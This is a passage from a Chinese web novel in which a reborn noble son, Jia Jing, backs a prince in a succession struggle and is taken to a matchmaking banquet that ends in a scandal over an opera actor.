送自己安全出了东宫。 可他自己却…… 这里面一定有贾敬不知道的隐情, 可等他再去查时, 线索早已经无处可查。 是他没用, 什么都没有查出…… 念及上一世,贾敬忍不住的颤抖,眼眶发热泛着酸意,紧紧咬着牙关。 “阿元,你怎么了?” 贾敷见贾敬说着,竟然红了眼眶,又是一次惊吓。 “无事。” 贾敬别过脸,一把扯过旁边的椅子,颓丧地坐下,狠狠阖上眼。 贾敷见状,嘴张了又闭上,最终没再追问,亦是找了把椅子坐下,思考方才贾敬说的那些。 书房瞬间沉寂下来。 “阿元,你就那么看重他?真的认准他了?” 贾敷终究开了口,叹了口气,语气里带着些无奈。 贾敬缓缓睁开眼,却没看向贾敷,而是望着不远处的地面,目光有些散,缓缓道: “哥,如果仅仅是私心,我不会跟你说。” 贾敷一怔,没明白贾敬话中的意思,“什么?” “哥,若是只为了我和萧淮川之间的交情,我又怎么可能拉着全族下水?” “我的所作所为皆与府中无关,到那时,我会自请出族,或者,哥你逐我出族,绝不连累家族。” 贾敷听到贾敬这番话,猛地站起身,厉声喝道:“贾培元!你在胡说什么!” 于他们这样的家族,逐出家族是为重罪! 一般只有犯了不可饶恕的罪行,才会被逐出家族。 如今时下,多是讲究门第宗族,若是被逐出家族,变成“无根无源”之人,在这世间,说是寸步难行也不为过。 而贾敬若是真的这么做,那便是没给自己留半点后路。 贾敷盯着贾敬的眼睛都要瞪出眼眶,自家弟弟居然能为萧淮川做到这一步? 他是在威胁自己吗? 这个想法一经冒出,便被贾敷打消。 阿元不会做出这种威胁自己,让自己妥协的事情来。 那么,阿元是认真的。 贾敷眉头紧皱,眼神复杂,抿了抿唇问道:“你真的看准他?” 贾敬缓缓抬起头,定定地望着贾敷,“是,哥,我看准他。” 他信任萧淮川。 这份信任不是贾敬盲目,也不是源于他对萧淮川的情感,而是他对萧淮川品性的认可。 他相信,萧淮川若是最后登上大宝,凭借萧淮川的品性,他们宁国府再惨也不会是上辈子那样。 除去萧淮川,无论是现在封为齐王、上辈子封为忠顺王的二皇子萧淮洵,亦或是上辈子最后登上帝的新帝,如今还未封王的三皇子萧淮泽,对宁国府都是虎视眈眈。 不过上辈子的遭遇,也没法跟贾敷说。 贾敬紧紧盯着贾敷,眼里透露出一抹少见的紧张,生怕与自家兄长的想法相左。 心中也已经在思忖,还能怎么说服兄长。 贾敷叹了口气,手支撑着额头,揉了揉。 本以为还能和稀泥一段时间,也抱着侥幸之心,不想去做这决定全族命运的选择。 然而今日,贾敬却将这纸糊的窗户给捅破了。 贾敷也知道,京中情形迫在眉睫,是时候要做选择了。 诚然贾敬所说,走到这一步,不是他们不想选,就可以不选了。 现在还能有自己选择的余地,若是随着事态发展,可能便是被裹挟着被迫站队了。 贾敷仔细思考着,分析完发现,还真的只有萧淮川合适。 “啧。”贾敷轻啧一声,忍不住说了句,“这都叫什么事儿啊?” 他们半个时辰前刚说史家老太君胆大妄为,现在自己倒是先站了队? 不过,史家情况与他们宁国府情况到底还是不一样。 史家如今还深受圣上器重,这不,保龄侯离京这些日子,不就是为圣上处理事情去了吗? 贾敬还等着贾敷的回应,贾敷瞥了眼,见他眼巴巴的模样,心中更觉得有些不对味,可也不知道为什么。 最终只是无奈点头,“哥知道了。” 贾敬松了口气,眉眼染上了一层笑。 贾敷见状扯了扯嘴角,倾身,伸手,直接捏住了贾敬的脸,“你现在倒是越来越有主意了!” “他到底给你灌了什么迷魂汤?”贾敷又忍不住感慨一句。 贾敬一愣,随后明白贾敷口中的他,是指萧淮川。 他对萧淮川那隐秘的心思,到底心虚,被贾敷这么一点,眼里便涌上了几分无措,连忙垂下眼去。 贾敷那双眼,今晚利的跟鹰似的,贾敬的异样虽只有那么一瞬,却还是被贾敷捕捉到。 阿元不对劲,有事瞒着自己。 和萧淮川有关? 贾敷脑海里又回闪过萧淮川与贾敬两人挨着亲近的画面,贾敷心头晃过一抹思绪,稍纵即逝,他没有抓住。 他眼眸微微眯起,手指轻点在桌案上,发出有节奏的“哒哒哒”声。 “阿元,这件事,我们就算有了想法,可面上,也不能显露啊。” 贾敬点头,“嗯。” 贾敷:“所以,哥先前和你说的,你还是得和那位避避嫌。” 还未等贾敬说话,贾敷又连忙补充,“也没让你忽的疏离他,这也反常,反倒会引起一些人注意。” “你就自己把握,别跟小时候那样,没个分寸就好。” 贾敬沉默了会儿,终究是点了头,“好,我心里有数。” 他也不是非要跟着萧淮川。 两人凑太近,反而会影响贾敬自己的心虚。借此机会疏远,拉开距离,他或许能查到一些新的线索,发现一些先前发现不了的东西。 宁国府与东宫的关系,表面上,也不该过分亲近。 贾敷这才满意,“那我便才能放心去南方,” 贾敬眨了眨眼睛,忽然想到了什么,“哥,你与嫂子说了这事儿吗?” 贾敷身体一滞,目瞪口呆。 贾敬见状便知道,他哥这决定是自作主张啊,没和他嫂子说呢,随即给了贾敷一个“老实交代,自求多福”的眼神。 “叩叩叩。” 门外传来叩门声,紧接着,“如开,我进来了?” 说曹操曹操便到了,是史云棠的声音。 贾敷顿时一慌,骤然站起身,手足无措。 史云棠一进来就见贾敷这个模样,挑了挑秀眉,眼神瞬间变得微妙。 以她对贾敷的了解,他定是背着自己做了什么心虚的事情。 下一瞬,史云棠便移开了目光,像是没看出贾敷的异样,看着贾敬,笑道: “阿元,来尝尝嫂子做的枣仁桂圆汤,里面放了些五味子,有安神的效用,今天累了一天了,你吃完便好好睡一觉。” 贾敬点头应着,“诶,劳烦嫂子了。” 史云棠身后的丫鬟将一个托盘里的碗碟端至贾敬旁边的桌案,里面放了个汤匙。 贾敬伸手,作势去拿汤匙,史云棠制止,“阿元,你的手……让小丫头伺候你用膳吧。” “不碍事。”贾敬微微动了动手指,“真没残废,恢复的很好,拿勺子,没问题。” 说完便两根手指捻起了汤匙,他可不想让人喂了。 贾敷也紧张地看着,见贾敬捻着汤匙,虽有些抖霍,但也没洒了,这才没多说什么。 “啪!” 碗碟放置在桌案上的声音,有些清脆,贾敷眸光转回,就对上史云棠笑着的脸。 “如开,你喜欢的金桔雪梨汤,清火润喉。”史云棠那双杏眸好似看透了一切,“多喝点。” 贾敷本就心虚,现在更是坐立不安,扯了扯嘴角,“劳烦夫人,我刚好饿了 。” 说完连忙低下头,也不顾着烫,连忙巴拉了几口,史云棠一旁看着,也不提醒。 “嘶……” 贾敷被烫的倒吸一口气,脸都皱了起来。 贾敬闻言,看戏般的抬起头,谁知戏还没看成,就听他嫂子开口, “阿元,有件事儿,忘了和你说,明日下午,理国公夫人邀我去他们府中听戏,你随我一起去。” 勺子刚放入嘴边的贾敬愣住,连忙咽下,“嫂子去听戏,带我作甚?” 史云棠朝他挤了挤眼,“自然是好事。” 贾敬心一沉,不会是去……相看吧? “我就不……” “去,必须去!”贾敷立刻打断贾敬拒绝的话。 要贾敷说,贾敬现在就是闲的,赶紧相看姑娘吧,这样就没时间和萧淮川整日黏在一起了。 第42章 “阿元就跟我去吧, 他家世子还攒了一个马球的局儿,你若是嫌听戏无聊,去那边也是一样的。” 史云棠紧跟着贾敷后面开口。 贾敬抽了抽嘴角, 抬起自己正用两根手指捏着汤匙的手,“我这样还打马球?” 史云棠粲然一笑,“所以阿元安心陪嫂子听戏便是。” 贾敬:…… “就是就是, 陪你嫂子去!” 贾敷又塞了一口汤, 催促着贾敬, 那狗腿的模样, 惹得贾敬忍不住白了他一眼。 望着自己面前的枣仁桂圆汤,感受着体内热汤下去的熨帖,贾敬只好点头, “好, 我听嫂子的。” 贾敷伸手拍了拍贾敬的肩膀,“就该这样!咱们家都听你嫂子的!” “都听我的?”史云棠斜了眼贾敷,好似意有所指道,“你也是吗?” 史云棠的手指轻轻搭在了贾敷的肩上, 贾敷一僵,心底起了慌张。 “嗯?”史云棠尾音一扬。 贾敷胡乱点着头, 应道:“那当然!” “呵。”贾敬见状, 扯出一抹笑, 将碗中最后一颗桂圆吃完, 接着站起身, 看向史云棠, “嫂子, 我先回去歇着了。” 走前贾敬不顾贾敷求助的目光, 给了贾敷一个“自求多福”的眼神, 便直接转身出了书房。 自作主张定下那么大的事情,还是让他哥自己跟嫂子解释去吧。 · 史云棠的那碗枣仁桂圆汤效果显著,贾敬一夜好眠,睁眼便已经天光大亮。 这一日依旧是个好天,贾敬起床洗漱完后,素雪就又捧着一盘托盘进来。 贾敬看着眼生的衣服,有些头疼,“素雪,可别让嫂子再给我做新衣了,都穿不完了。” 素雪笑着,“二爷,大奶奶说了,今日您可是要跟她出去,为她撑脸面的,马虎不得。” 贾敬最终还是屈服于自家嫂子的淫威,又穿上了新衣服。 这次的衣服花色不似昨日那般鲜艳,却和他脖颈上挂着的那枚玉牌相得益彰。 贾敬又被素雪一番折腾,腰间挂了一堆配饰,见素雪还思考着挂什么事,贾敬连忙制止。 “素雪,御医这会子应该已经到院门了,你去迎一下。” 素雪一听,立刻放下手中的东西,出了门去迎御医。 御医照例帮贾敬换药,见贾敬这身打扮,不禁问道:“贾二爷今日可是要出门?” 贾敬点头,随口答道:“嗯,理国公府设宴,邀了嫂子前去,我陪着。” 御医帮贾敬缠完手,便背着药箱告退了。 贾敬缓步朝西角门走去,身后是常跟着他的小厮阿禄。 “阿福家里如何了?” 阿禄:“回二爷,阿福找人递了话,说他娘好多了,处理好家中的事情,便回来当差。” 贾敬:“不急,处理好了再回来,有什么事,尽管来说便是。” 就在贾敬跨过角门时,他脚步忽然一顿,目光落在门边垂头站着的小厮。 有些眼熟。 贾敬盯着那小厮瞧了好半晌,小厮则是惊慌失措,以为自己做错了什么,差点就要跪下了。 小厮苦着一张脸,“二爷……” “哦,你是那晚的小厮。”贾敬想起来了,这就是他重生那天,回府遇见的小厮。 见小厮颤抖的样子,贾敬笑了笑,上次见还觉得机灵,今日倒有些露怯。 不过,贾敬看他顺眼,颔首问道:“叫什么名儿?” 小厮先是一愣,随后有些难为情的开口,“小的叫二狗。” 他觉得这名字污了自家二爷的耳。 贾敬表情未变,只是说,“可愿意去我院里做事?” “啊?”二狗以为自己听错了。 “不愿意?” “不不不!”二狗连忙摆手,连忙点头,“小的愿意!小的愿意!” 他满眼的不可置信,他一个看门的小厮,居然一跃变成府里主子爷们后头的跟班了? 二狗说完就要跪下谢恩。 跟在贾敬身后的阿禄见了哪能不明白,自己二爷满意这小厮呢,他立刻抓住二狗的胳臂, “咱们二爷不喜这些虚礼。” 贾敬迈步出了角门,“跟着吧,阿禄你多照看他些。” 二狗愣愣地望着贾敬的背影,脑子如一团浆糊,这都是真的? “走吧,跟着咱们二爷,你小子算是有福了。”阿禄拍了怕二狗。 “我、我……”二狗都要语无伦次了。 “别怕,我带你。” 马车已经在角门外等候,前后两辆马车。 “二爷,大奶奶已经上了马车,正等着您呢。” 后面那辆马车的小厮来请,道明了情况。 前头那辆马车听见外面声音,帘子撩起,露出了史云棠的脸。 她上下打量着贾敬,露出了满意的笑,“我家阿元当真俊俏,真给嫂子长脸!” 贾敬无奈的笑了笑,他仔细打量着史云棠的神情,与往常无异,也不知道昨晚贾敷有没有和她摊牌。 但这是他们两口子的事,无需他多管。贾敬转身向后面那辆马车走去。 理国公府距离宁国公府并不远,也就隔了两条街,贾敬上车刚打个盹,没一会儿功夫,马车就停了。 “二爷,咱们到了。” 贾敬睁开眼,眼神清明,昨晚睡得好,他也不是多困。 他伸出手,轻轻撩开帘子,就看见他嫂子已经下了马车,正和几位华服夫人正聊得火热。 贾敬沉默,心中有了悔意,他今日就不该来。 他刚要放下帘子,准备在马车上多一会儿,谁知史云棠忽然转过身,对他招手, “阿元,下来啊。” 马车旁的二狗连忙从外撩起帘子,贾敬看了他一眼,收回手,弯腰下了车。 这下了车,贾敬才发现,原来那些夫人们身后,竟然还跟着几位亭亭玉立、执着扇子的姑娘。 心中悔意更甚,他今日就不该来! 大乾男女七岁不同席,男宾应该都去马球场那边了,而自己手伤,却是跟史云棠一起,可不就是凑女宾这来了吗? 史云棠:“阿元,还不来见过几位夫人。” 宁国府虽史云棠掌家,可她毕竟年轻,在场这些夫人算起来,都比史云棠和贾敬大上一辈儿。 贾敬顶着被几位夫人眼神吃了的可能,身体有些僵硬的上前。 “见过各位夫人。” “哎呦,这就是你们府上的二爷吧?当真是少年英才!” “不愧是你们宁府的公子,果真不一般!” “这相貌,就是探花郎也当得!” 对于贾敬这位刚中进士便得到圣上奖赏授官的年轻儿郎,这些夫人眼里都冒着光,嘴里不断冒出的夸赞,让史云棠很是高兴,嘴角都未放下过。 而那些夫人身后的年轻小姐们,眼神倒是收敛含蓄许多,可到底好奇,拿扇子遮掩,悄悄打量着贾敬。 贾敬招呼完,就后退几步躲到了史云棠身后,眼观鼻,鼻观口,闭嘴不言。 史云棠也知道够了,再过分,就要把贾敬吓跑了,给旁边一个夫人使了眼色。 那夫人正是理国公府的二太太,连忙道:“快别站着了,都随我进去吧。” 史云棠同几位夫人走在最前面,贾敬没立即跟上,而是等那些年轻小姐们都走了,他才迈步走在最后面。 贾敬甚至没有跟得紧凑,百无聊赖的在后面缀着。 一路走到今日听戏的地方,贾敬这才看出了些门道。 理国公府这戏台子搭得巧妙,于他家园中湖边水榭处,搁着湖,两边设座,倒是直接分了两处席位。 一头是官客,即男宾,一头是堂客,即女宾。 堂客那边远远瞧着,已然到了许多夫人小姐,而官客那儿,也让贾敬有些讶然,居然也坐了小半的人,也多是年轻公子们。 没去马场打马球,全来这儿听戏了? 史云棠回头,嘱咐道:“阿元,听你冯婶子说,阙哥儿在那头坐着,你去找他玩儿?” 她口中的冯婶子,便是刚刚那位理国公府的二太太,而阙哥儿便是她的儿子,理国公府二房的公子,也是贾敬觉得,理国公柳家难得斯文之人。 贾敬颔首,表面自己知道,便迈步朝官客那边的座儿走去。 还未走近,就见一个和他年纪相仿的青年朝自己挥手,正是柳阙。 “培元,这里!” 贾敬走到柳阙身旁,目光落在他旁边的空座上,语气熟稔,“给我留的?” 柳阙:“肯定啊,来,赶紧坐。” 贾敬坐下,抬眸看去,正对着戏台,一览无余。 好座啊。 “还是你小子会享受。”贾敬感慨一声。 柳阙先是乐呵一笑,随后像是想到什么,脸上笑意便垮了,“所以被我娘唠叨死。” “我虽喜好书画风月,可真不是科举的料啊。”他看向贾敬的目光带这些羡慕,“怎的这次考这样好了?” 贾敬斜了他一眼,“我哪次考得不好?” 柳阙一哽,撇嘴嘟囔,“我娘还逼我考呢……” “算了,不这些烦心事。”他说着手一挥,仿佛能将这些烦恼全部给挥走。 贾敬也识趣,换了个话题,下巴朝旁边坐着的一些人抬去,问道: “你不爱马球,坐这听戏,正常,这些个儿,怎么今日也都坐这儿了?” 柳阙见贾敬这么一问,也来了兴致,神秘一笑,“你猜今日的戏,请了谁?” 看他这样,贾敬便知道,肯定是请了什么名角。 可他自己本就不好听戏,这记忆隔了几十年,他哪里知道京城如今的名角是谁? “说吧,你知道的,我不关心这些。” 柳阙也没卖关子,“今日请的是崇雅堂的台柱名角儿,水青,人称青老板。” 贾敬没什么兴趣,也只是点点头。 柳阙见状,凑到他耳边,悄声说道:“他可不是一般人,听闻,齐王对他,追得紧呢。” 贾敬原本半阖慵懒的眼眸瞬间一利。 齐王,萧淮洵。 是了,他想起来了,这位未来的忠顺王爷,可不就喜欢戏子吗? 第43章 若不是忽然柳阙提起, 贾敬恐怕都要忘了这件事。 从前朝起,无论是勋贵还是民间,都有好男之风, 甚至前朝那位昏庸无度的末帝,竟差点儿立了一位男皇后。 此事在当时可谓是震惊朝野,引得天下哗然。 因此, 待大乾建立后, 太祖皇帝因吸取前朝教训, 明令禁止朝中官员涉足此道。 然而民间好男风的风气存在已久, 短时间内难以消除。 待太祖皇帝驾崩后,继任的圣上,也未在意过此事, 口子便渐渐放开了。当下好男之风, 虽没有前朝那般放肆,但也从未消失,暗潮涌动。 如今许多权贵子弟,更是以此为乐, 京中小倌馆也是越来越多。 而齐王萧淮洵,便尤好男风。 贾敬记得上一世的时候, 萧淮洵早些年不曾表露过, 想来和他想要争嫡有关, 顾忌名声。 后来萧淮洵转头支持三皇子萧淮泽。他押注萧淮泽成功, 也从齐王加封为忠顺王, 有了这层功劳, 他也不藏着掖着, 明目张胆起来。 贾敬后来虽不怎么问事, 也听说忠顺王爷酷爱听戏, 养了一群戏子,他捧得那位是戏班里的名角儿,是个乾旦。 作为有从龙之功的新帝皇兄,谁也不能指摘了去。 那时候,大乾的好男之风也愈加兴盛,多是如此,便更无人去说了。 而萧淮洵整日与戏子小倌一起厮混,反而降低了新帝萧淮泽对他的忌惮。 贾敬原本认为,好男风、捧戏子,这是萧淮洵故意所为,就是为了迷惑新帝,向新帝表忠心,表示他不会有什么谋逆之心。 可方才柳阙那番话,却让贾敬心中的想法有了一丝动摇,事实好像与他知道的情况有些出入。 他本以为萧淮洵将此事捂得很严,如今看来,大抵是自己先前不曾留意过。 就连柳阙都知道,萧淮洵追那位青老板追得紧。 虽说现在不乏公子少爷们泡戏班子,重金捧角儿,可大多数是玩玩寻乐子,上不得台面,顾忌脸面的人也都是藏着。 萧淮洵居然将此事漏了出来? 贾敬故意表现出兴趣,轻声柳阙道:“齐王和这青老板的事情,你们都知道?” 柳阙嘿嘿一笑,眼神得意,“这事儿知道的人不多。” 他算一个。 “我敢说,这全场在座的,也没几个知道。” 贾敬桃花眼一挑,半信半疑地瞧着柳阙。 柳阙脖子一梗,“你不信小爷的人脉?” 文雅面庞透露出的那一抹不逊神情,让贾敬丝毫不怀疑他是柳家人。 贾敬哂笑,“哪有,我只是好奇罢了。” 果然,萧淮洵还没胆子大到那样的地步,在天丰帝眼皮子底下,这么放肆。 天丰帝虽然没像太祖皇帝那样,严令禁止男风,可也不代表,他允许他自己的皇子们沾上这些。 私下里,睁一只眼闭一只眼也就罢了,若是敢放到台面上…… “那这些人呢?”贾敬下巴一勾。 柳阙随意瞥了旁边,“人家可都是冲着青老板的名气来的。” “知道我家这次请他来,花了多少银子吗?”柳阙还顺道阴阳了一句,“也是,你贾二爷向来不关注这些,一心只读圣贤书。” 听得出,冯婶子没少因为贾敬高中进士来念叨柳阙,这怨气扑面而来。 贾敬还真的谈不上一心只读圣贤书,勋贵子弟们的吃喝玩乐,他一样也没落下,只是没那么过分罢了。 他也不在意柳阙的话,接着套话。 “所以,你们府上今日是为何办这宴席?” 贾静原本以为只是一个寻常宴会,来了才发现,这里面的不寻常。 譬如,这重金请的戏班。 柳阙闻言先是一愣,紧接着目光在贾敬面上巡视一圈,确定他是真不知道这次宴席的目的后,眼里滑过一丝复杂。 “你真不知道今天是为了什么?” 贾敬:? 柳阙没好气道:“你不知道你跑来做什么?” 贾敬扯了扯嘴角,“我嫂子硬拉着我来的。” 他嫂子是为了拉他出来相看的,虽然他就是来走个过场。 贾敬眼眸微睁,“这是个相看的宴席吧?年轻公子小姐不少,我嫂子大抵是喊我来相看的,不过我没那个心思。” 柳阙像是看出贾敬的敷衍,心中不禁起了一丝愤懑,眉头蹙了起来,可又想起贾敬不知道这中间缘由,还是沉声解释道: “今日这场宴席,是为了给我大妹妹相看的。” 贾敬眼眸中闪过一抹诧异。 那今日这宴席果真不一样。 他还只当是一般的相看宴,少男少女们给个话头见见。 没想到,居然是特地为理国公府大小姐准备的相看宴。 柳阙抿了抿唇,家中长辈的意思他知晓,挺看好贾敬的。 今日瞧见贾敬来,他还挺高兴的,想着贾敬做他妹夫,也不错。却没想到,人家根本没那个心。 贾敬见状,无奈叹了口气,有些尴尬,解释道:“我还真不知道这件事,我嫂子可没与我说。” 史云棠若是说了,他肯定不会来。 柳阙硬声道:“你也别多想,又不是只请了你一人。” 柳阙的目光扫视全场,“这全场男子,都是,全看我大妹妹心意。” “我大妹妹还不一定看上你呢。” 柳阙阴阳怪气的气话,贾敬并不放在心上。他疼爱他大妹妹,贾敬也知道。 贾敬无言,他只觉得额角有些疼。 这都叫什么事儿啊? 不过贾敬也是彻底明白了,兄嫂二人想要他娶妻的决心。 这么一想,他更头疼了。 他这样的情况,哪里适合成婚了?简直是害人。 贾敬半阖着眼,目光无意识地落在正前方的戏台上,沉思着。 两人一时无言。 坐他一旁的柳阙则是面上闪过一丝懊恼,知晓自己刚才对贾敬的那番话是有些过了。 强扭的瓜不甜,更何况,贾敬也是不知情的,自己刚才明明就是迁怒。 柳阙张了张嘴,神情带着些别扭,深呼吸一口气,刚准备开口说什么, “噔噔呛,噔噔呛……” 一阵紧锣密鼓的声音从戏台上响起,传遍四周,周围嘈杂声如潮水褪去,一片寂静。 戏,开场了。 贾敬闻声,抬了抬眼皮,朝戏台子上看去,只见随着鼓点声,一群宫娥提灯缓步入场。 紧跟着的便是一位头顶大凤冠的宫妃。手执牡丹折扇,艳丽的面容在折扇后若隐若现。 原来是一出贵妃醉酒。 折扇收拢,贾敬对上了折扇后的那双媚眼,顾盼神飞,妩媚多情。 这双眼的承托下,更显得那张脸姣好可人。 这位“贵妃”的出场,令全场众人的呼吸都轻了几分,众人目光也都跟着那一人转。 待一折戏唱罢,许多人都没立刻回过神来。 青老板下了台后,贾敬才回过神来,不禁暗自点头,这位“青老板”不愧是京中的名角儿,在戏台上仿佛能摄魂一般。 不知谁感慨了句: “青老板的风姿……今日可算是见着了,无憾了。” “这样的神仙人物,若是能跟我回家……” “切,想什么呢?且不说他的身价,就你老子的脾气,你随便领个小戏子回去,都能让你掉层皮。” “玩玩就得了,可别当真,你可别忘了今日是来干嘛的,要是坏了事,小心回家没得交待。” 今日多数是来相看未来夫人的,可不能因为这些个人儿,坏了大事。 贾敬听了这话,眼眸闪过一丝光,若有所思的望着戏台,久久不言。 【作者有话要说】 你们猜,阿元心里憋着什么坏呢? 第44章 “如何, 青老板可将你迷住了?” 柳阙其实一直观察着贾敬的神情,生怕方才那番话真的惹恼了他,毕竟宁国府的贾二爷脾性也算不上多好。 见贾敬仿佛没什么怒色, 眼睛一眨不眨地听着戏,柳阙松了口气,调侃的话随口冒了出来。 话说出口, 柳阙就想拍自己的嘴巴, 怎么就管不住嘴呢? 谁不知道, 贾二爷最不爱这些。 下一瞬, 柳阙惊的张大了嘴巴,只见贾敬慵懒地点了点头,“确实不错。” 贾敬那双半敛着的桃花眼瞥了眼凑在自己旁边的柳阙, 揶揄道:“你小子吃得挺好。” 柳阙则是跟见了鬼一样望着贾敬, 连说话都结巴了,“你认真的?” 贾敬似笑非笑地勾起一抹笑,没有回答。 柳阙见状,更加迷糊了。怎么一段时间不见, 贾敬就喜欢打哑谜了呢? “你……” “大爷,出事了!”一个身着理国公府奴仆装的小厮小跑到了柳阙身边, 打断了柳阙的话。 柳阙不悦皱眉, “什么事?” 小厮下意识地瞧了贾敬一眼, 贾敬刚巧抬眸, 那双贵气淡然的眸子却让小厮心下一紧, 连忙低下头去。 他俯身到柳阙耳边, 轻声说了什么。 贾敬注意到, 柳阙的脸色瞬间变得极为难看, 便猜到肯定是发生了什么要紧的事。 柳阙语气生硬, “培元,招待不周,失礼了。我还有事,先行一步,下次再单独约你赔罪。” 说完丢下这句话,便带着那名小厮匆匆离去。 贾敬跟着柳阙离开的方向看去,像是理国公府今日组织打马球的地方。 收回目光,贾敬再次慵懒地缩回圈椅中,长腿一曲一直随意放着,长袍垂落,他百无聊赖地听着台上咿咿呀呀的戏。 贾敬的眼皮也逐渐耷拉,时不时地便黏在一起。 他果然还是不喜欢听戏。 除了方才那位青老板的戏勾住了他,其余的戏,唱得直叫贾敬犯困。 “二爷。” 小厮阿禄悄声走到贾敬跟前,轻声唤着阖眼不知是睡是醒的贾敬。 “有事?”贾敬并未睁眼,问道。 阿禄连忙道:“大太太说,府里有急事,请您过去,同她一道家去。” 贾敬缓缓睁开眼,目光朝不远处看去,那里钗裙环翠,站了好些位女眷,也像是要辞行离开。 据他所知,今日贾敷应当没有任何应酬,就在家中。若是府上有事,贾敷便能处理了,何须这么急喊史云棠回去? 想来史云棠唤他回府,应当是和刚刚柳阙匆忙离开有关。 “嗯,走吧。”贾敬站起身,朝史云棠的方向走去。 这路刚没走几步,贾敬像是注意到什么,回首望了望,只见身后只有阿禄一人,问道: “二狗呢?” 阿禄一惊,连忙朝身后看去,原本紧跟在他身后的二狗,早已看不见踪影。 “二爷,小的的错,小的这就去找他!” 今日理国公府,请了许多贵人,若是二狗冲撞了什么人,丢的就是他们宁国府的脸。 “不用了,我看见他了。”贾敬抬手制止,抬着下巴朝前方扬了扬,阿禄顺势看过去,就见二狗佝偻着腰,急匆匆地从远处小跑着过来。 贾敬这边刚出了坐席,二狗也来到了贾敬面前,阿禄一个上前,用力扯了二狗一下,训斥道: “不是让你跟我我吗?谁允许你乱跑的?” 二狗不断弯腰作揖,“阿禄哥,小的错了,小的错了。” 他满脸涨红,显得无措的紧,“这人有三急……” 这等事儿摆在贾敬这样的主子面前说,二狗羞得都快找个坑里钻进去了,若是二爷把他退回去…… 二狗脸色瞬间由先前的红变得煞白,声音也小的跟蚊子一样,连讨饶都不敢说出口。 “人之常情,无事。”贾敬抬抬手,“回府吧。” 贾敬这厢刚领着二小厮走到园中道上,便听见史云棠的声音: “他们理国公府拿咱们府当什么了?有他们这么做事的……” 史云棠便手执着扇子走来,贾敬第一时间注意到史云棠较平日里快上许多的步子,难掩怒色的脸,手中扇子不断地扇动,像是想要扇走她心中的怒火。 “太太,二爷来了。” 史云棠的话没说完,就被身边的大丫鬟提醒了一句,她见贾敬确实到了跟前,瞬间将口边的话咽了回去,深呼吸一口气,装作无事,扯了扯嘴角,“阿元来了?” 贾敬眼尾轻瞥了眼四周,很快收回目光,“是,听闻府里有事,那我们便先回吧。” 史云棠未尽之言,以及他刚刚那一瞥所看到的,园中好几处都人员攒动,步履匆匆,心中也知晓,史云棠说府中有事是个离开的幌子,想来有事的,是理国公府,柳家。 贾敬随着史云棠很快离开了理国公府,路上史云棠什么也没跟贾敬说,贾敬也没问。 只是待贾敬上了马车后,帘子被稍稍撩起,帘外坐着的是跟车的二狗。 “嗯?”贾敬哼了声,意为何事。 二狗纠结了一瞬,最终还是忐忑地开口,将他在理国公府如厕时,无意听见的事儿,禀告给了贾敬。 “小的方才净手出来,路过了马球场,在那边看见了些事儿。” 贾敬颔首,示意二狗接着说,他猜也是马球场那边出了事,但观史云棠,此事好像还和他们宁国府也有牵扯。 二狗:“理国公世子和一个人打起来了。” 贾敬:“那人什么身份可知道?” 二狗点头:“小的刚好看见他们将人拉开,是穿了一身戏子服,瞧着是个武生。” 贾敬桃花眼微睁,眼里划过一丝讶然和玩味。 理国公世子柳阑与他并不相熟,但脾性贾敬还是知晓的,是理国公一脉相成的暴脾气,可贾敬也没玩玩没想到,柳阑会如此不顾身份,居然跟一个戏子打架? 是和武生切磋,结果过了火? “知道原因吗?” 二狗摇头,“小的这就不知了。” 贾敬也不指望一个小厮就能将这里面的事情弄明白,尤其是对于理国公府来说,这样不光彩的事。 只是…… 贾敬看着二狗那低眉顺眼一幅老实样,脸上闪过一抹笑意。 他果然没看错人,瞧着老实,眼耳倒是灵光的很。 回了府上,史云棠明显情绪平复了许多,领着贾敬刚回了花厅,贾敷便到了。 “夫人,怎么这么快便回来了?” 贾敷也没料到史云棠会这么快回来。 史云棠抬手,看了贾敬一眼道:“正要说此事呢。” 几人坐下,史云棠便对贾敬道:“阿元,事到如今,嫂子也不瞒你了。” “今日我们前去理国公府,是他们府上特地相邀,有意让你与他府上大姑娘相看的。” “先前不与你详说,也是怕你知道,会不自在。”史云棠声音里透露着些歉意。 贾敷也讪讪地看着贾敬,没告诉阿元,他也心虚啊。 贾敬早已经在柳阙那边知晓了此事,也知道是兄嫂为自己操心,自然也不会真的因为这件事生气。 “可是谁知道,他们理国公府居然如此欺负人!”史云棠的声音陡然拔高,方才压下去的怒气又窜了出来。 贾敷连忙为史云棠倒了杯清茶,轻声哄着,“夫人吃口茶消消气,不值当这般生气,当心身子。” 他虽不知道发生了什么事,可也不能让史云棠这样生气,怒气伤肝,连累的是自己的身子。 史云棠猛地喝了口茶,“咱们两府从老太爷那辈起就有的交情,这么缺德事情,他们也干的出来?” “他们府上那位柳大姑娘,早就芳心暗许,有心仪的人了!” “是他们府上老爷夫人不满意,没看上人家,这才急着要他家姑娘来和咱们家阿元相看。” 贾敷一愣,没想到居然是这么一会儿,他还真不知道这回事。 贾敬听了,则是心中一乐,柳家大姑娘居然已经有了心仪之人,这多好啊。 反正他也没有和这位柳大姑娘相看的心思。 可史云棠不知道贾敬心意,反而被理国公府这样隐瞒情况而气得不清。 贾敷虽也生气理国公府的隐瞒,可还是劝道:“宁拆十庄庙,不毁一座婚,到底是他们无缘。” “且说他们理国公府,想找出与他家家世相配的,京城也没几家了,世伯要求如此之高?” 谁知越劝,史云棠越气,手都颤抖了起来,“若真是如此,我也不会这么计较气恼了!” “虽说现在讲究父母之命,媒妁之言,小儿女有其他心思,也能理解。” “可他们简直太过分了!” 贾敷和贾敬对视一眼,心中疑窦四起,到底是什么事情是他们不晓得的。 “那柳家大姑娘,瞧上的是一位戏子!今日甚至厚着脸皮进了府。” 至于进府做什么,也不必说了,自然是为了与柳大姑娘私会。 贾敬这么一听,又想起二狗说的马球场那件事,理国公世子柳阑与一个戏子大打出手,缘由是出在这儿了。 官宦家的小姐,瞧上了一位贱籍的武生戏子,怎么看,都是场孽缘呐! 时下有条不成文的规矩,良贱不得通婚,更何况是国公府的大姑娘? 所以,理国公府当发现这事儿后,就连忙想帮柳大姑娘相看,这一看,便觉得贾敬怎样都合适,还托了荣国府史氏来说情,史云棠这才忽悠着贾敬,让其跟她去柳家赴宴。 理国公府这次确实广邀了许多家,可醉翁之意也只在贾敬身上,这是柳家那边明确说与史云棠的。 可谁知道,居然在宴席上发生了这样的事! 史云棠不忿,“他把咱们府当什么?又把咱们阿元当什么?” 简直是在打他们家的脸! 贾敬望着自家嫂子气红的脸,知道嫂子是为自己打抱不平,可这事儿吧…… 不说那柳大姑娘是什么心思,其实他自己也没相看的心思。 